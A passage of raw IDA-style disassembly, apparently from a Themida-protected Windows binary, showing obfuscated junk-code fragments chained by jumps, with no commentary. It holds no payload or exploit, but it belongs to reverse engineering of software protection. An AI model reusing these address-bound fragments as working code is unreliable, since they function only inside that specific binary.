loc_595601: ; CODE XREF: sub_59196D+2FCEj
pop ecx
jmp loc_592631
; ---------------------------------------------------------------------------
loc_595607: ; CODE XREF: sub_59196D+28B7j
xchg ecx, edi
not ecx
xchg ecx, edi
push ecx
push edi
pop ecx
pop edi
jmp loc_590F88
; ---------------------------------------------------------------------------
loc_595616: ; CODE XREF: sub_59196D+2D13j
xchg ecx, [esp-14h+arg_10]
pop esp
jmp loc_592224
; ---------------------------------------------------------------------------
loc_59561F: ; CODE XREF: Themida_:0058CA47j
mov edx, 50AC4DADh
push ebp
mov ebp, 5E01524Fh
xor edx, ebp
pop ebp
mov eax, edx
mov edx, [esp-18h+arg_14]
jmp loc_59569C
; ---------------------------------------------------------------------------
loc_595637: ; CODE XREF: sub_59196D+57FEj
sub esp, 4
mov [esp-14h+arg_10], edx
mov dl, 21h
sub al, dl
pop edx
push ebx
push esp
jmp loc_594891
; ---------------------------------------------------------------------------
loc_59564C: ; CODE XREF: sub_59196D-2A43j
pop ecx
mov eax, [esp-4+arg_0]
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59565B: ; CODE XREF: sub_59196D+2C8Aj
sub ebp, ecx
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
jmp loc_5921F0
; ---------------------------------------------------------------------------
loc_59566B: ; CODE XREF: sub_59196D-586Dj
push 279Eh
jmp loc_59515B
; ---------------------------------------------------------------------------
loc_595675: ; CODE XREF: sub_59196D-18E1j
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
push [esp+1Ch+var_1E+2]
pop ecx
jmp loc_596530
; ---------------------------------------------------------------------------
loc_595688: ; CODE XREF: sub_59196D-AA6j
mov eax, [esp+20h+var_22+2]
add esp, 4
mov eax, [esp+1Ch+var_1E+2]
add esp, 4
jmp sub_58ED05
; ---------------------------------------------------------------------------
loc_59569C: ; CODE XREF: sub_59196D+3CC5j
add esp, 4
xchg eax, edi
not edi
xchg eax, edi
shl eax, 1
shl eax, 8
jmp loc_58D778
; ---------------------------------------------------------------------------
loc_5956AD: ; CODE XREF: sub_59196D-874j
pop edx
push esi
mov esi, 506A52C2h
push edx
mov edx, 0
jmp loc_594045
; ---------------------------------------------------------------------------
loc_5956BF: ; CODE XREF: sub_59196D+2D30j
jmp loc_590128
; ---------------------------------------------------------------------------
loc_5956C4: ; CODE XREF: sub_59196D-61E7j
add ebp, eax
pop eax
xor ebp, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], ebp
xor ebp, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
mov ax, word ptr [esp+1Ch+var_1E+2]
push edx
jmp loc_592C26
; ---------------------------------------------------------------------------
loc_5956DD: ; CODE XREF: sub_59196D-3877j
add ebx, ecx
pop ecx
xor ebx, [esp+16h+var_16]
xor [esp+16h+var_16], ebx
xor ebx, [esp+16h+var_16]
jmp loc_590C9A
; ---------------------------------------------------------------------------
loc_5956EE: ; CODE XREF: sub_59196D+572Bj
push eax
mov eax, 4
jmp loc_58C974
; ---------------------------------------------------------------------------
loc_5956F9: ; CODE XREF: sub_59196D-4BFFj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5956FE: ; CODE XREF: sub_59196D+639Ej
add edi, ecx
sub edi, 0BEC7ABDh
pop ecx
add edi, 4
push edi
jmp loc_591A91
; ---------------------------------------------------------------------------
loc_595713: ; CODE XREF: sub_59196D-1422j
neg edi
xor edi, 0D314D7CEh
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp+14h+var_16+2]
jmp loc_58DFBF
; ---------------------------------------------------------------------------
loc_595729: ; CODE XREF: sub_59196D+6199j
mov ecx, 20026218h
push ebx
mov ebx, 3615338Ch
add ebx, 19A355ACh
shl ebx, 8
jmp loc_597D23
; ---------------------------------------------------------------------------
loc_595742: ; CODE XREF: sub_59196D+62CEj
push esi
mov esi, 539E7A86h
push 309Eh
mov [esp+20h+var_22+2], edx
push 378355D9h
pop edx
shr edx, 1
push 7571h
mov [esp+24h+var_26+2], esi
mov esi, 3D455046h
not esi
dec esi
shr esi, 5
add esi, 5632E416h
xor edx, esi
pop esi
jmp loc_593FCA
; ---------------------------------------------------------------------------
loc_595779: ; CODE XREF: sub_59196D-981j
sub edx, 9D26D58h
push [esp+28h+var_2A+2]
pop ebx
add esp, 4
sub edx, 4
xor edx, [esp+24h+var_26+2]
xor [esp+24h+var_26+2], edx
xor edx, [esp+24h+var_26+2]
jmp loc_592695
; ---------------------------------------------------------------------------
loc_595797: ; CODE XREF: sub_59196D-63FBj
xchg edx, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
push [esp+14h+var_16+2]
jmp loc_58F4BC
; ---------------------------------------------------------------------------
loc_5957A5: ; CODE XREF: sub_59196D+28E0j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_590AFF
; ---------------------------------------------------------------------------
loc_5957B8: ; CODE XREF: sub_59196D+A3Fj
xor ebp, eax
jmp loc_5950ED
; ---------------------------------------------------------------------------
loc_5957BF: ; CODE XREF: sub_59196D+23DBj
mov ebx, eax
pop eax
sub esp, 4
mov [esp+28h+var_2A+2], ecx
mov ecx, 7D5D6402h
xor ebx, ecx
push [esp+28h+var_2A+2]
jmp loc_58F0AB
; ---------------------------------------------------------------------------
loc_5957D7: ; CODE XREF: sub_59196D-1317j
push ecx
jmp loc_58F6A0
; ---------------------------------------------------------------------------
loc_5957DD: ; CODE XREF: sub_59196D-623Aj
pop ebp
sub ebp, 135C56FBh
mov edx, ebp
jmp loc_5913E2
; ---------------------------------------------------------------------------
loc_5957EB: ; CODE XREF: sub_59196D+2AE7j
lodsd
sub eax, 22E41B83h
jmp loc_58FA2C
; ---------------------------------------------------------------------------
loc_5957F6: ; CODE XREF: sub_59196D-CA7j
push [esp+24h+var_26+2]
jmp loc_58D3AB
; ---------------------------------------------------------------------------
loc_5957FE: ; CODE XREF: sub_59196D+706j
; sub_59196D+4897j
mov ecx, 4F134504h
jmp loc_58B954
; ---------------------------------------------------------------------------
loc_595808: ; CODE XREF: sub_59196D+186Cj
shl ebp, 5
jmp loc_5964BC
; ---------------------------------------------------------------------------
loc_595810: ; CODE XREF: sub_59196D-32E7j
sub esp, 4
mov [esp+20h+var_22+2], edi
mov edi, 38C73E42h
jmp loc_58F1B4
; ---------------------------------------------------------------------------
loc_595820: ; CODE XREF: sub_59196D+2E2Aj
mov ecx, 0FD69FCh
shr ecx, 6
not ecx
add ecx, 5450830h
shl ecx, 8
sub ecx, 411287FCh
push ecx
jmp loc_58E3D7
; ---------------------------------------------------------------------------
loc_59583F: ; CODE XREF: sub_59196D+679Dj
mov esp, [esp+44h+var_44]
shl word ptr [esp+44h+var_44], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59584C: ; CODE XREF: sub_59196D+450Dj
push eax
not [esp+4Ch+var_4E+2]
pop eax
sub eax, 0FFFFFFFFh
shl eax, 7
xor eax, 0DFFE9DCAh
sub edx, eax
pop eax
mov eax, [esp+44h+var_44]
add esp, 4
push edx
add [esp+44h+var_44], 3C6871A7h
pop eax
sub eax, 3C6871A7h
pop edx
push edx
push 506D6035h
pop edx
xor edx, 3AE74FB2h
xchg ebp, edx
inc ebp
xchg ebp, edx
dec edx
shl edx, 1
push edx
jmp loc_59114F
; ---------------------------------------------------------------------------
loc_595891: ; CODE XREF: sub_59196D-5E47j
xor edx, 7160432Dh
add eax, edx
pop edx
sub eax, 4
xor eax, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], eax
jmp loc_58FC92
; ---------------------------------------------------------------------------
loc_5958AA: ; CODE XREF: sub_59196D-2D4Cj
jle loc_596C16
shl ebx, 5
js loc_593CC6
push ebp
loc_5958BA: ; CODE XREF: sub_59196D-54ECj
add esi, 4
jmp loc_591745
; ---------------------------------------------------------------------------
loc_5958C5: ; CODE XREF: sub_59196D-27BEj
pop edx
add esp, 4
and ecx, edi
pop edi
jmp loc_596D2E
; ---------------------------------------------------------------------------
loc_5958D1: ; CODE XREF: sub_59196D-4464j
; sub_59196D+247Cj
mov esi, 4
add eax, esi
push [esp+20h+var_22+2]
pop esi
jmp loc_593C95
; ---------------------------------------------------------------------------
loc_5958E1: ; CODE XREF: sub_59196D-5423j
mov [esp+0], esi
mov esi, 4
sub [esp+0Eh+var_C+2], 790844BAh
add [esp+0Eh+var_C+2], esi
add [esp+0Eh+var_C+2], 790844BAh
push dword ptr [esp+0]
pop esi
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_595909: ; CODE XREF: sub_59196D-2BCCj
and ebx, eax
jmp loc_59391A
; ---------------------------------------------------------------------------
loc_595910: ; CODE XREF: sub_59196D+2743j
; sub_59196D+5D31j
mov esi, esp
add esi, 4
jmp loc_58E0BC
; ---------------------------------------------------------------------------
loc_59591D: ; CODE XREF: sub_59196D+34C8j
xchg ecx, [esp+24h+var_26+2]
pop esp
push 496h
mov [esp+24h+var_26+2], edi
jmp loc_5910CE
; ---------------------------------------------------------------------------
loc_59592E: ; CODE XREF: sub_59196D+6A03j
add edx, 74C64F08h
add edx, ecx
sub edx, 74C64F08h
pop ecx
sub edx, 67BD7DA5h
add edx, ebx
add edx, 67BD7DA5h
sub edx, 359F579Fh
mov ebx, [esp+20h+var_22+2]
jmp loc_5942E4
; ---------------------------------------------------------------------------
loc_595959: ; CODE XREF: sub_59196D+15C8j
push 57D31D48h
pop esi
add esi, 0DD6E1A22h
jmp loc_58B6AE
; ---------------------------------------------------------------------------
loc_59596A: ; CODE XREF: sub_59196D+613Aj
pop ebp
jmp loc_58CD8B
; ---------------------------------------------------------------------------
loc_595970: ; CODE XREF: sub_59196D+6AE6j
add ecx, 0D4FBDFB6h
mov eax, ecx
mov ecx, [esp+24h+var_26+2]
jmp loc_594113
; ---------------------------------------------------------------------------
loc_595980: ; CODE XREF: sub_59196D-5C19j
add edx, 7CF12E18h
sub edx, 80F23A89h
add eax, edx
mov edx, [esp+26h+var_26]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push [esp+2Eh+var_2A]
jmp loc_5979A9
; ---------------------------------------------------------------------------
loc_5959A7: ; CODE XREF: sub_59196D-4DC9j
or ebx, 501C1EC0h
not ebx
jmp loc_58C602
; ---------------------------------------------------------------------------
loc_5959B4: ; CODE XREF: sub_59196D+2658j
dec edi
jmp loc_592D3A
; ---------------------------------------------------------------------------
loc_5959BA: ; CODE XREF: sub_59196D+6CECj
pop esp
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5959C0: ; CODE XREF: sub_59196D+604j
push edi
mov edi, 432C2D64h
jmp loc_591B34
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+4Ch+var_4E+2]
push 4C73h
mov [esp], ecx
push esp
jmp loc_58F77A
; ---------------------------------------------------------------------------
loc_5959DD: ; CODE XREF: sub_59196D-C97j
pop esp
jmp loc_594772
; ---------------------------------------------------------------------------
loc_5959E3: ; CODE XREF: sub_59196D+1D4Dj
mov edi, 4795759Dh
push ebp
mov ebp, 70154841h
sub edi, ebp
jmp loc_592BCD
; ---------------------------------------------------------------------------
loc_5959F5: ; CODE XREF: sub_59196D+5C8Cj
dec al
jo loc_5932E0
add al, 1Eh
jmp loc_591B8F
; ---------------------------------------------------------------------------
loc_595A04: ; CODE XREF: sub_59196D+6C55j
sub edi, 988B9C9Ah
add ebp, edi
pop edi
or ebp, 50823CBFh
or ebp, 3452030Bh
sub ebp, 0A17FECD0h
sub ecx, ebp
jmp loc_593590
; ---------------------------------------------------------------------------
loc_595A26: ; CODE XREF: sub_59196D-2FBBj
not edi
add edi, 78467D58h
add edi, 0FDD78E98h
add ebx, edi
pop edi
jmp loc_58CA82
; ---------------------------------------------------------------------------
loc_595A3C: ; CODE XREF: sub_58EF7E+283Cj
add edi, edx
pop edx
xor edi, [esp+18h+var_1A+2]
xor [esp+18h+var_1A+2], edi
xor edi, [esp+18h+var_1A+2]
pop esp
jmp loc_596FBD
; ---------------------------------------------------------------------------
push [esp+14h+var_16+2]
mov eax, [esp+18h+var_1A+2]
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
mov ebx, esp
sub esp, 4
jmp loc_59799C
; ---------------------------------------------------------------------------
loc_595A6A: ; CODE XREF: sub_59196D-47C4j
jz loc_58BC3F
add esi, 0EEF6FBE8h
mov edx, esi
pop esi
sub edx, 2FD933BDh
sub edx, 53E17CC0h
jmp loc_5936A5
; ---------------------------------------------------------------------------
loc_595A8A: ; CODE XREF: Themida_:0058EA8Dj
sub cl, 9Ch
pop eax
sub cl, 0A8h
or cl, 97h
jmp loc_591CE8
; ---------------------------------------------------------------------------
loc_595A99: ; CODE XREF: Themida_:0058D53Fj
push ecx
add [esp+8+var_8], 54451DB3h
jmp loc_593D29
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp+4+var_4], eax
pushf
jmp loc_593B48
; ---------------------------------------------------------------------------
loc_595AB4: ; CODE XREF: sub_59196D+2FDAj
pop edi
push ecx
jmp loc_58DEF8
; ---------------------------------------------------------------------------
loc_595ABB: ; CODE XREF: sub_59196D+44ACj
xor cl, 2Fh
add cl, 14h
sub bh, cl
pop ecx
push edx
jmp loc_58D2EC
; ---------------------------------------------------------------------------
loc_595ACA: ; CODE XREF: sub_59196D-4C9Cj
pop edx
sub edx, 253F0212h
pop ebx
add eax, edx
mov edx, [esp+32h+var_32]
add esp, 4
jmp loc_5916EC
; ---------------------------------------------------------------------------
push [esp+2Eh+var_2E]
push [esp+32h+var_32]
jmp loc_58D8F3
; ---------------------------------------------------------------------------
loc_595AED: ; CODE XREF: Themida_:0058EB36j
not eax
xor eax, 0D3AF5ABFh
add ebx, eax
pop eax
push edi
sub esp, 4
jmp loc_59520C
; ---------------------------------------------------------------------------
loc_595B00: ; CODE XREF: sub_59196D-47AEj
sub esp, 4
mov [esp+1Ch+var_1E+2], eax
jmp loc_58DEFE
; ---------------------------------------------------------------------------
loc_595B0E: ; CODE XREF: sub_59196D+37E9j
add dl, cl
pop ecx
neg dl
add dl, 0F2h
sub al, dl
pop edx
add al, bh
add al, 0E7h
mov ebx, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4Ah+var_4A]
pop esp
push ecx
mov cl, 30h
sub cl, 0B2h
not cl
shr cl, 4
add cl, 9Ch
add al, 0BCh
sub al, cl
push ecx
jmp loc_594E3A
; ---------------------------------------------------------------------------
loc_595B47: ; CODE XREF: sub_59196D-1D4Ej
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_595B4C: ; CODE XREF: sub_59196D-3B67j
push 28AE5337h
push [esp+2Eh+var_2E]
pop esi
jmp loc_592F1B
; ---------------------------------------------------------------------------
loc_595B5A: ; CODE XREF: sub_59196D+3501j
add [esp+2Ch+var_2E+2], 4
pop ebp
jmp loc_58D6C0
; ---------------------------------------------------------------------------
loc_595B64: ; CODE XREF: Themida_:005903BAj
mov ecx, esp
push ebp
push edi
jmp loc_58CCF6
; ---------------------------------------------------------------------------
loc_595B6D: ; CODE XREF: sub_59196D-29B5j
and eax, ecx
push [esp-0Ch+arg_8]
mov ecx, [esp-8+arg_4]
add esp, 4
sub esp, 4
mov [esp-8+arg_4], eax
mov eax, esp
add eax, 4
jmp loc_591DB9
; ---------------------------------------------------------------------------
loc_595B90: ; CODE XREF: sub_59196D+4CF0j
add ebx, 15FA1E96h
jmp loc_59366B
; ---------------------------------------------------------------------------
loc_595B9B: ; CODE XREF: sub_59196D:loc_58CDACj
add eax, 708D0E16h
jle loc_591A59
or eax, 310C08A5h
jmp loc_5903C7
; ---------------------------------------------------------------------------
loc_595BB0: ; CODE XREF: sub_59196D+9F8j
xor al, 62h
add bl, al
jmp loc_5919A9
; ---------------------------------------------------------------------------
loc_595BB9: ; CODE XREF: sub_59196D+EC6j
or eax, edx
pop edx
not eax
add eax, 401B578Fh
mov edi, eax
mov eax, [esp+2Ah+var_2A]
add esp, 4
and eax, edi
push [esp+26h+var_26]
pop edi
add esp, 4
or eax, eax
jz loc_592224
push edx
push esi
push 19AD1550h
mov esi, [esp+2Eh+var_2E]
push esi
jmp loc_5970D1
; ---------------------------------------------------------------------------
loc_595BF2: ; CODE XREF: sub_59196D+824j
not edi
and edi, 1CBA5D25h
and edi, 218B66C6h
jmp loc_59167D
; ---------------------------------------------------------------------------
loc_595C05: ; CODE XREF: sub_59196D-60E7j
; sub_59196D-151Aj ...
add ebx, ebp
jmp loc_596EDD
; ---------------------------------------------------------------------------
loc_595C0C: ; CODE XREF: sub_59196D+3007j
mov eax, ebx
jmp loc_58EDA0
; ---------------------------------------------------------------------------
loc_595C13: ; CODE XREF: sub_59196D-28DFj
xor edx, eax
jmp loc_594ADA
; ---------------------------------------------------------------------------
loc_595C1A: ; DATA XREF: Themida_:0058B134o
mov ax, word ptr [esp+14h+var_16+2]
push esi
mov esi, esp
jmp loc_594591
; ---------------------------------------------------------------------------
loc_595C26: ; CODE XREF: sub_59196D-191Cj
pop esp
mov [esp+0Ch+var_C], ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_59813C
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+8+var_8]
push 7A8Dh
mov [esp+0Ch+var_C], ebp
mov ebp, esp
sub esp, 4
jmp loc_591A7C
; ---------------------------------------------------------------------------
loc_595C55: ; CODE XREF: sub_59196D-3B5Cj
sub eax, ebx
sub eax, 55EA5F45h
sub esp, 4
mov [esp+2Ah+var_2A], ebp
mov ebp, 651E1B4Bh
jmp loc_5973B7
; ---------------------------------------------------------------------------
loc_595C6C: ; CODE XREF: sub_59196D+5D3Dj
mov dx, 5FE0h
dec dx
jnp loc_5920BD
and dx, 7A14h
jle loc_58BD34
mov ah, al
pop ebp
loc_595C86: ; CODE XREF: Themida_:00590F1Ej
push 5BB75673h
jmp loc_59514B
; ---------------------------------------------------------------------------
loc_595C90: ; CODE XREF: sub_59196D-1E6Dj
; sub_59196D+210Aj
pop esp
push [esp+58h+var_5A+2]
mov eax, [esp+0]
jmp loc_59524F
; ---------------------------------------------------------------------------
loc_595C9C: ; CODE XREF: sub_59196D+5A3Fj
add dword ptr [esp+0], 4
pop edi
jmp loc_5942AF
; ---------------------------------------------------------------------------
loc_595CA6: ; CODE XREF: sub_59196D:loc_58C3FAj
xor edx, 10004CF5h
mov ebp, edx
pop edx
add esi, ebp
pop ebp
xor esi, [esp+4+var_4]
jmp loc_594C32
; ---------------------------------------------------------------------------
loc_595CBA: ; CODE XREF: sub_59196D+188Aj
mov ebx, edi
jmp loc_595DAD
; ---------------------------------------------------------------------------
loc_595CC1: ; CODE XREF: sub_59196D+417j
mov [esp+8+var_8], edi
mov edi, 2BB5396Ch
neg edi
shr edi, 2
dec edi
jge loc_58E2F8
and edi, 1E69397Dh
xor edi, 2CAC24D4h
pop edx
loc_595CE2: ; CODE XREF: sub_59196D+4E08j
jnp loc_58BA41
add edx, 6CAD461Ah
mov ebx, edx
mov edx, [esp+4+var_4]
mov bl, al
loc_595CF5: ; CODE XREF: sub_58B4DA+9j
mov dl, bl
mov ah, dl
pop edx
pop ebx
push small 0
sub [esp+0], ah
jmp loc_58BD59
; ---------------------------------------------------------------------------
loc_595D07: ; CODE XREF: sub_59196D+38CFj
add eax, 789B662Ah
jmp loc_592472
; ---------------------------------------------------------------------------
loc_595D11: ; CODE XREF: sub_59196D-4D67j
mov [esp+2Ch+var_2E+2], ebp
push ecx
jmp loc_593884
; ---------------------------------------------------------------------------
loc_595D1A: ; CODE XREF: Themida_:0058CA19j
mov ecx, 19010222h
mov ebx, 8750CE1Ah
sub ebx, ecx
push [esp+30h+var_32+2]
pop ecx
add esp, 4
xor eax, ebx
push [esp+2Ch+var_2E+2]
mov ebx, [esp+30h+var_32+2]
add esp, 4
push esi
jmp loc_590CFD
; ---------------------------------------------------------------------------
loc_595D44: ; CODE XREF: sub_59196D-10C1j
pop edi
jmp loc_5945EF
; ---------------------------------------------------------------------------
loc_595D4A: ; CODE XREF: sub_59196D-40A1j
pop ecx
and ebx, 60FD46D7h
not ebx
shl ebx, 8
sub esp, 4
mov [esp+32h+var_32], edx
mov edx, 6E276BE9h
jmp loc_593226
; ---------------------------------------------------------------------------
loc_595D66: ; CODE XREF: sub_59196D-5F94j
mov ebx, 55255F0Ch
xor ebx, ecx
pop ecx
push esi
mov esi, 15CB241Bh
jmp loc_59109E
; ---------------------------------------------------------------------------
loc_595D79: ; CODE XREF: sub_59196D+5234j
sub edi, ebx
pop ebx
sub edi, 1FE76A9Ch
add edi, edx
add edi, 1FE76A9Ch
add edi, 2F5A12BCh
pop edx
jmp loc_59702B
; ---------------------------------------------------------------------------
loc_595D96: ; CODE XREF: sub_59196D-2B5Ej
push esi
mov esi, 0EC9C8BF2h
add eax, 196F7A4Eh
add eax, esi
sub eax, 196F7A4Eh
jmp loc_58BBCD
; ---------------------------------------------------------------------------
loc_595DAD: ; CODE XREF: sub_59196D+225Cj
; sub_59196D+434Fj
pop edi
pop edx
add ebx, 7D8C7B83h
add ebx, 16A6644Bh
add ebx, edx
push ebp
push edi
mov edi, 11315204h
jmp loc_59373B
; ---------------------------------------------------------------------------
loc_595DC9: ; CODE XREF: sub_59196D-22E8j
or ebx, 63230EA2h
jle loc_593A12
jmp loc_5924C7
; ---------------------------------------------------------------------------
push small 0A92h
mov word ptr [esp-0Ah+arg_4+2], ax
loc_595DE2: ; CODE XREF: sub_59196D+4B82j
pop eax
add ebx, 5CA74305h
add ebx, ebp
sub ebx, 5CA74305h
mov ebp, [esp-0Eh+arg_8+2]
add esp, 4
sub ebx, eax
push edi
mov edi, 31860E16h
sub ebx, edi
push [esp-0Eh+arg_8+2]
jmp loc_596E1A
; ---------------------------------------------------------------------------
loc_595E0C: ; CODE XREF: sub_59196D-2058j
pop eax
or cl, 71h
jo loc_58BCA1
shr cl, 3
jmp loc_595ABB
; ---------------------------------------------------------------------------
loc_595E1E: ; CODE XREF: sub_59196D-5AB3j
mov eax, 4
jmp loc_592E54
; ---------------------------------------------------------------------------
loc_595E28: ; CODE XREF: sub_59196D+28F2j
; sub_59196D+38DDj
mov esi, [esp+1Ch+var_1E+2]
add esp, 4
sub ebx, esi
pop esi
jmp loc_59400B
; ---------------------------------------------------------------------------
loc_595E39: ; CODE XREF: sub_59196D-3E8Fj
sub esp, 4
mov [esp+1Ch+var_1E+2], edx
jmp loc_58DC52
; ---------------------------------------------------------------------------
loc_595E47: ; CODE XREF: sub_59196D-28A2j
sub eax, 4
sub esp, 4
mov [esp+3Eh+var_40+2], eax
push [esp+3Eh+var_3C+2]
jmp loc_593746
; ---------------------------------------------------------------------------
loc_595E5B: ; CODE XREF: sub_59196D+29F3j
push esp
jmp loc_593975
; ---------------------------------------------------------------------------
loc_595E61: ; CODE XREF: sub_58BF03-3D7j
push eax
mov eax, 16444841h
mov edx, eax
jmp loc_58B9A3
; ---------------------------------------------------------------------------
loc_595E6E: ; CODE XREF: sub_59196D+5B07j
add esi, 4
jmp loc_597877
; ---------------------------------------------------------------------------
loc_595E79: ; CODE XREF: sub_59196D+65Fj
pop ecx
jmp loc_59584C
; ---------------------------------------------------------------------------
loc_595E7F: ; CODE XREF: sub_59196D-2CF8j
push edx
jmp loc_598127
; ---------------------------------------------------------------------------
loc_595E85: ; CODE XREF: sub_59196D+580Bj
mov ebp, 24191EFEh
sub ecx, ebp
pop ebp
push ebx
mov ebx, 25F14287h
sub ecx, ebx
pop ebx
jmp loc_5917CE
; ---------------------------------------------------------------------------
loc_595E9B: ; CODE XREF: sub_59196D+2Cj
pop esp
xchg edx, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
movzx cx, al
push small 1C0Bh
mov word ptr [esp+1Eh+var_1E], cx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_595EB3: ; CODE XREF: sub_59196D+A88j
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp+0]
jmp loc_592C05
; ---------------------------------------------------------------------------
loc_595EC5: ; CODE XREF: sub_590717+2j
mov eax, 504B71A4h
shr eax, 7
shr eax, 3
jmp loc_5936BF
; ---------------------------------------------------------------------------
loc_595ED5: ; CODE XREF: sub_59196D+16B8j
mov ch, 9Ah
inc ch
shr ch, 7
push ax
mov ah, 60h
add ch, ah
mov ax, word ptr [esp+1Eh+var_1E]
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp+22h+var_22]
pop esp
add al, 8Fh
add al, ch
jmp loc_597E6A
; ---------------------------------------------------------------------------
loc_595F02: ; CODE XREF: sub_59196D+AA7j
shl ebp, 5
js loc_58BAEF
sub ebp, 0A65EBF02h
and [edi+1Ch], ebp
mov ebp, [esp+0]
push edi
loc_595F18: ; CODE XREF: sub_59196D-543Dj
push [esp+12h+var_12]
mov eax, [esp+16h+var_16]
add esp, 4
jmp loc_596106
; ---------------------------------------------------------------------------
loc_595F29: ; CODE XREF: sub_59196D-93Fj
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edi
push 2AC4h
mov [esp+8+var_8], ecx
mov ecx, 3B332D3h
mov edi, 2C7B9647h
sub edi, ecx
mov ecx, [esp+8+var_8]
add esp, 4
not edi
add edi, 1
inc edi
shr edi, 6
dec edi
jmp loc_58FDB6
; ---------------------------------------------------------------------------
loc_595F5F: ; CODE XREF: sub_59196D+1019j
shr ebx, 1
add ebx, 0F8F4CACBh
or edx, ebx
pop ebx
push ecx
mov ecx, 1CEB7A70h
or ecx, 50C308A4h
jmp loc_58B477
; ---------------------------------------------------------------------------
loc_595F7B: ; CODE XREF: sub_59196D+6AB4j
add edx, eax
jmp loc_59094F
; ---------------------------------------------------------------------------
loc_595F82: ; CODE XREF: sub_59196D+1890j
mov edx, 41A148E5h
neg edx
xchg ebp, edx
not ebp
xchg ebp, edx
xor edx, 46AE2CC4h
sub eax, edx
pop edx
jmp loc_594BAE
; ---------------------------------------------------------------------------
push ecx
push eax
push 167F13C4h
jmp loc_59413D
; ---------------------------------------------------------------------------
loc_595FA9: ; CODE XREF: sub_59196D+63A9j
sub esp, 4
mov [esp+0], esi
mov esi, 4
sub edx, 480F25B0h
jmp loc_58D338
; ---------------------------------------------------------------------------
loc_595FBF: ; CODE XREF: sub_59196D+2C66j
xor bh, 0ACh
push edx
mov dl, bh
mov ch, dl
pop edx
pop ebx
sub bl, ch
mov ecx, [esp+1Ch+var_1E+2]
push ebp
mov ebp, esp
jmp loc_597B30
; ---------------------------------------------------------------------------
loc_595FD6: ; CODE XREF: sub_59196D-598Aj
and eax, ebp
pop ebp
xor eax, 26A008D3h
add ecx, eax
pop eax
push ecx
push [esp-8+arg_8]
jmp loc_58E3EA
; ---------------------------------------------------------------------------
lodsd
jmp loc_594D4B
; ---------------------------------------------------------------------------
loc_595FF1: ; CODE XREF: sub_59196D-1B5Fj
; sub_59196D+5391j
mov [esp+1Ch+var_1E+2], ebp
push ebx
mov ebx, 721775DBh
xor ebx, 15776804h
ja loc_594F15
jmp sub_58B60E
; ---------------------------------------------------------------------------
add ebp, edi
pop edi
mov ch, 26h
mov bl, ah
loc_596012: ; CODE XREF: Themida_:0058D3D4j
mov ecx, [esp+1Ch+var_1E+2]
jmp loc_5975AB
; ---------------------------------------------------------------------------
loc_59601A: ; CODE XREF: sub_59196D-5DB4j
and edi, 0D117346h
sub edi, 64870B35h
or edi, 765F58F7h
push ebp
mov ebp, 1
sub edi, ebp
pop ebp
jmp loc_596071
; ---------------------------------------------------------------------------
loc_59603A: ; CODE XREF: sub_59196D-3E39j
shl al, 5
xor al, 0C1h
add dl, al
pop eax
sub al, dl
pop edx
xor bl, al
movzx eax, al
jmp loc_59006F
; ---------------------------------------------------------------------------
loc_59604F: ; CODE XREF: Themida_:0058FD46j
mov eax, [esp+2Ch+var_2E+2]
add esp, 4
push ebx
mov ebx, 4
sub eax, 7381530h
sub eax, 6F85381Eh
add eax, ebx
add eax, 6F85381Eh
jmp loc_592EFF
; ---------------------------------------------------------------------------
loc_596071: ; CODE XREF: sub_59196D+46C8j
sub edi, 39FE7D1Eh
xor edi, 945D8150h
jmp loc_58EEF2
; ---------------------------------------------------------------------------
loc_596082: ; CODE XREF: sub_59196D-31B5j
xor ch, 0D1h
sub al, ch
pop ecx
jmp sub_58B76A
; ---------------------------------------------------------------------------
loc_59608D: ; CODE XREF: sub_59196D-22AEj
sub bl, 22h
sub bl, 28h
sub bl, ch
add bl, 28h
add bl, 22h
mov cx, word ptr [esp-10h+arg_C]
push eax
mov eax, esp
add eax, 4
jmp loc_595108
; ---------------------------------------------------------------------------
loc_5960AC: ; CODE XREF: sub_59196D-65E8j
mov [esp+4+var_4], ecx
jmp loc_590E98
; ---------------------------------------------------------------------------
loc_5960B4: ; CODE XREF: sub_59196D-411Fj
add esi, edi
jmp loc_590E76
; ---------------------------------------------------------------------------
loc_5960BB: ; CODE XREF: sub_59196D+5504j
push eax
xor dword ptr [esp+0], 565E465Fh
pop edi
xor edi, 565E465Fh
pop eax
add eax, 63A77FAh
add eax, edi
sub eax, 63A77FAh
pop edi
xchg eax, [esp+3Ah+var_3C+2]
pop esp
push [esp+36h+var_36]
pop eax
push esi
push esp
jmp loc_58D129
; ---------------------------------------------------------------------------
loc_5960E7: ; CODE XREF: sub_59196D-F2Bj
sub eax, 6EA65FD1h
jmp loc_58DD23
; ---------------------------------------------------------------------------
loc_5960F1: ; CODE XREF: sub_590B8E+7j
add ebp, 4
sub ebp, 4
xchg ebp, [esp+6+var_8+2]
pop esp
mov [esp+2+var_4+2], eax
jmp loc_58BC8E
; ---------------------------------------------------------------------------
loc_596106: ; CODE XREF: sub_59196D+45B7j
add esp, 4
jmp loc_58B37B
